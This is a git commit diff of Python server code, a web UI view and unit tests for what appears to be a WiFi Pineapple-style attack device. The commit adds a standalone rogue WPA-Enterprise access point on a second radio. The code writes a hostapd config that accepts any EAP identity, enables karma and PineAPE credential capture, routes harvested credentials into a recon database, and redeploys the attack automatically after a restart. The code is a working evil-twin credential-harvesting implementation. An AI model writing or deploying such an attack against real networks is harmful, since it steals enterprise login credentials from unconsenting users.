feat: standalone PineAPE enterprise engine on phy1

The stock daemon's enterprise config generation is broken on this firmware
(it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise
attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1:
iw-created iface, EAP config with catch-all user file, pineape+auth capture
enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds
flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys
a live attack after a Mark VIII restart.
This commit is contained in:
2026-08-18 19:53:56 -05:00
parent 2533f68d70
commit 603e249999
3 changed files with 217 additions and 66 deletions
+171 -53
View File
@@ -2556,7 +2556,6 @@ def h_pineap_wifi_get_ap(ctx):
wpa_cfg = _uci_wifi_iface('wlan0wpa')
r1_open_cfg = _uci_wifi_iface('wlan1open')
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
ent_cfg = _uci_wifi_iface('wlan0ent')
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
host = data if status == 200 and isinstance(data, dict) else {}
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
@@ -2568,20 +2567,19 @@ def h_pineap_wifi_get_ap(ctx):
_last_reconcile = time.time()
device_run(['wifi', 'reload'])
break
ent = _ap_iface_dict(ent_cfg, radio0_cfg)
return 200, {
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
'enterprise': {
'enabled': ent.get('enabled', False),
'ssid': ent.get('ssid', ''),
'enctype': ent.get('enctype') or 'wpa2',
'passphrase': ent.get('passphrase', ''),
'hidden': ent.get('hidden', False),
'channel': ent.get('channel'),
'live': _iface_live('wlan0ent'),
'enabled': _ent_summary()['enabled'],
'ssid': _ent_summary()['ssid'],
'enctype': _ent_summary()['enctype'],
'passphrase': '',
'hidden': False,
'channel': _ent_summary()['channel'],
'live': _ent_summary()['live'],
},
'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))},
'radios': {
@@ -2789,6 +2787,16 @@ ATTACK_IFACES = {
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
}
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
# config generation is broken on this firmware, so Mark VIII runs its own
# karma+PineAPE hostapd instance for the enterprise attack.
ENT_IFACE = 'wlan1ent'
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
ENT_CONF = '/root/loot/enterprise.conf'
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
ENT_EAP_USERS = '/root/loot/eap_users'
ENT_STATE = '/root/loot/mk8_enterprise.json'
def _band_of_channel(channel):
band = channel_band(channel)
@@ -2896,11 +2904,50 @@ def _deploy_wpa_open(kind, fields):
def _disable_enterprise_ap():
cfg = _uci_wifi_iface('wlan0ent')
if cfg:
device_run(['uci', 'delete', 'wireless.wlan0ent'])
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
try:
with open(ENT_PIDFILE) as f:
pid = int(f.read().strip())
if os.path.exists('/proc/%d' % pid):
device_run(['kill', str(pid)], timeout=10)
except (OSError, ValueError):
pass
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
for p in (ENT_PIDFILE, ENT_STATE):
try:
os.unlink(p)
except OSError:
pass
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
if rc == 0 and out.strip() == ENT_IFACE:
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
device_run(['uci', 'commit', 'pineapd'])
device_run(['/etc/init.d/pineapd', 'reload'])
if not _radio1_ap_active():
_resume_hop()
def _ent_running():
try:
with open(ENT_PIDFILE) as f:
pid = int(f.read().strip())
return os.path.exists('/proc/%d' % pid)
except (OSError, ValueError):
return False
def _ent_ctrl(cmd, timeout=10):
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
timeout=timeout)
return (rc, out or '')
def _ent_state_loaded():
try:
with open(ENT_STATE) as f:
return json.load(f)
except (OSError, ValueError):
return {}
def _deploy_enterprise(fields):
@@ -2910,6 +2957,13 @@ def _deploy_enterprise(fields):
enctype = fields.get('enctype') or 'wpa2'
if enctype not in ('wpa2', 'wpa3'):
raise ValueError('enterprise encryption must be wpa2 or wpa3')
ch = fields.get('channel')
if ch is not None:
band = channel_band(ch)
if band != BAND_5G:
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
else:
ch = 36
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
for name in ('wlan0wpa', 'wlan0open'):
cfg = _uci_wifi_iface(name)
@@ -2917,42 +2971,105 @@ def _deploy_enterprise(fields):
_set_uci('%s.disabled' % name, '1')
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
_set_uci('wlan0ent', 'wifi-iface')
_set_uci('wlan0ent.device', 'radio0')
_set_uci('wlan0ent.ifname', 'wlan0ent')
_set_uci('wlan0ent.mode', 'ap')
_set_uci('wlan0ent.disabled', '0')
_set_uci('wlan0ent.ssid', ssid)
_set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0))
_set_uci('wlan0ent.encryption', enctype)
_set_uci('wlan0ent.key', fields.get('passphrase') or '')
ch = fields.get('channel')
if ch is not None:
_set_uci('wlan0ent.channel', '%d' % int(ch))
device_run(['uci', 'commit', 'wireless'])
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
body={'configs': [{
'interface': 'wlan0ent',
'ssid': ssid,
'enctype': enctype,
'enabled': True,
'hidden': bool(fields.get('hidden')),
'key': fields.get('passphrase') or '',
'channel': int(ch) if ch is not None else 1,
}]}, timeout=45)
if status != 200:
raise RuntimeError('daemon rejected enterprise AP: %r' % (data,))
_enable_attack_engine()
_allow_all_ssids()
# PineAPE credential harvesting on.
daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', {
'pineape_disabled': False,
'pineape_auth_pass': True,
})
verified = _verify_iface('wlan0ent')
return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent',
'band': BAND_2G, 'channel': int(ch) if ch is not None else 1,
'verified': verified}
_disable_enterprise_ap()
# The stock daemon's enterprise config generation is broken on this
# firmware (emits eap_server_erp, which hostapd rejects), so the
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
# outside the daemon's interface set. Credentials still flow into
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
ENT_IFACE, 'type', 'managed'], timeout=15)
if rc != 0:
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
try:
with open(ENT_EAP_USERS, 'w') as f:
f.write('"*"\tPAP\t""\n')
with open(ENT_CONF, 'w') as f:
f.write(
'interface=%s\n'
'driver=nl80211\n'
'ssid=%s\n'
'hw_mode=a\n'
'channel=%d\n'
'country_code=US\n'
'ieee80211d=1\n'
'ieee80211n=1\n'
'ht_capab=[SHORT-GI-20][SHORT-GI-40]\n'
'beacon_int=100\n'
'auth_algs=1\n'
'ieee8021x=1\n'
'eap_server=1\n'
'eap_user_file=%s\n'
'wpa=2\n'
'wpa_key_mgmt=WPA-EAP\n'
'wpa_pairwise=CCMP\n'
'wpa_disable_eapol_key_retries=0\n'
'ctrl_interface=%s\n' % (ENT_IFACE, ssid, int(ch), ENT_EAP_USERS, ENT_CTRL_DIR))
except OSError as exc:
raise RuntimeError('could not write enterprise config: %s' % exc)
# Tell the karma build which iface is the management (enterprise) AP.
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
device_run(['uci', 'commit', 'pineapd'])
_pause_hop()
rc, out, err = device_run(['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
timeout=20)
verified = _ent_running()
if not verified:
_disable_enterprise_ap()
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % (err or out)[-300:])
deadline = time.time() + 20
while time.time() < deadline:
rc, out = _ent_ctrl('status')
if 'state=ENABLED' in out:
break
time.sleep(2)
verified = 'state=ENABLED' in (_ent_ctrl('status')[1] or '')
_ent_ctrl('pineap_enable')
_ent_ctrl('pineape_enable')
_ent_ctrl('pineape_auth_enable')
try:
with open(ENT_STATE, 'w') as f:
json.dump({'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
'channel': int(ch), 'started': int(time.time())}, f)
except OSError:
pass
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
'band': BAND_5G, 'channel': int(ch), 'verified': verified}
def _ent_summary():
st = _ent_state_loaded()
running = _ent_running()
live = False
if running:
rc, out = _ent_ctrl('status')
live = 'state=ENABLED' in (out or '')
return {
'enabled': running,
'live': live,
'ssid': st.get('ssid') or '',
'enctype': st.get('enctype') or 'wpa2',
'band': BAND_5G,
'channel': st.get('channel', 36),
'iface': ENT_IFACE,
'started': st.get('started'),
}
def _enterprise_boot_recover():
"""Re-deploy the enterprise AP after a Mark VIII restart."""
st = _ent_state_loaded()
if not st.get('ssid'):
return
try:
_deploy_enterprise(st)
except RuntimeError as exc:
try:
os.unlink(ENT_STATE)
except OSError:
pass
def h_attacks_deploy(ctx):
@@ -3011,7 +3128,7 @@ def h_attacks_status(ctx):
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
},
'enterprise': {
'ap': _uci_ap_summary('wlan0ent', 'radio0'),
'ap': _ent_summary(),
'pineape': {'enabled': not bool(
(daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {})
.get('pineape_disabled', True))},
@@ -3044,9 +3161,9 @@ def h_attacks_stop(ctx):
_set_uci('%s.disabled' % name, '1')
stopped.append(name)
elif kind == 'enterprise':
if _uci_wifi_iface('wlan0ent'):
if _ent_running() or os.path.exists(ENT_STATE):
_disable_enterprise_ap()
stopped.append('wlan0ent')
stopped.append(ENT_IFACE)
else:
return 400, {'error': 'kind must be wpa, open or enterprise'}
if stopped:
@@ -4421,6 +4538,7 @@ def serve():
threading.Thread(target=live_loop, daemon=True).start()
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
start_health_monitor()
_enterprise_boot_recover()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
@@ -1523,7 +1523,7 @@ views.attacks_enterprise = (root) => {
status.append('Attack', attackBadge(ap));
status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' }));
status.append('Interface', h('span', { text: ap ? ap.iface : '—' }));
status.append('Band', h('span', { text: '2.4 GHz' }));
status.append('Band', h('span', { text: ap && ap.band ? ap.band + ' GHz' : '5 GHz' }));
status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' }));
status.append('Credentials', h('span', { text: String(ent.creds || 0) }));
pApeBody.innerHTML = '';
+45 -12
View File
@@ -43,6 +43,8 @@ class FakeUciDevice:
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.')), '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def uci_iface(self, name):
@@ -76,9 +78,23 @@ class AttacksDeployTest(unittest.TestCase):
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
self.old_ent_running = server._ent_running
self.old_ent_state = server._ent_state_loaded
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
server._ent_running = self.old_ent_running
server._ent_state_loaded = self.old_ent_state
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp)
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
@@ -99,11 +115,11 @@ class AttacksDeployTest(unittest.TestCase):
self.assertEqual(len(engines), 2)
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
self.f.state['wireless.wlan0ent.disabled'] = '0'
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertNotIn('wireless.wlan0ent.disabled', self.f.state)
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_wpa_5g_writes_radio1(self):
status, payload = server.h_attacks_deploy(ctx({
@@ -127,19 +143,36 @@ class AttacksDeployTest(unittest.TestCase):
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
def test_deploy_enterprise_builds_wlan0ent(self):
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
'enctype': 'wpa2', 'hidden': False, 'channel': 1}))
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan0ent')
self.assertEqual(self.f.state['wireless.wlan0ent.encryption'], 'wpa2')
self.assertEqual(self.f.state['wireless.wlan0ent.ssid'], 'CorpAP')
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0ent')
self.assertEqual(cfg['configs'][0]['enctype'], 'wpa2')
pineape = [s for s in self.f.sock if s[1] == '/api/pineap/hostapd/set_config'][0]
self.assertEqual(pineape[2], {'pineape_disabled': False, 'pineape_auth_pass': True})
self.assertEqual(payload['iface'], 'wlan1ent')
self.assertEqual(payload['band'], server.BAND_5G)
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
'type', 'managed'], cmds)
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
server.ENT_CONF], cmds)
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
def test_deploy_enterprise_rejects_non_5g_channel(self):
status, _ = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
'channel': 6}))
self.assertEqual(status, 400)
def test_stop_enterprise_tears_down_engine(self):
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
self.assertEqual(status, 200)
self.assertIn('wlan1ent', payload['stopped'])
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_validation(self):
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))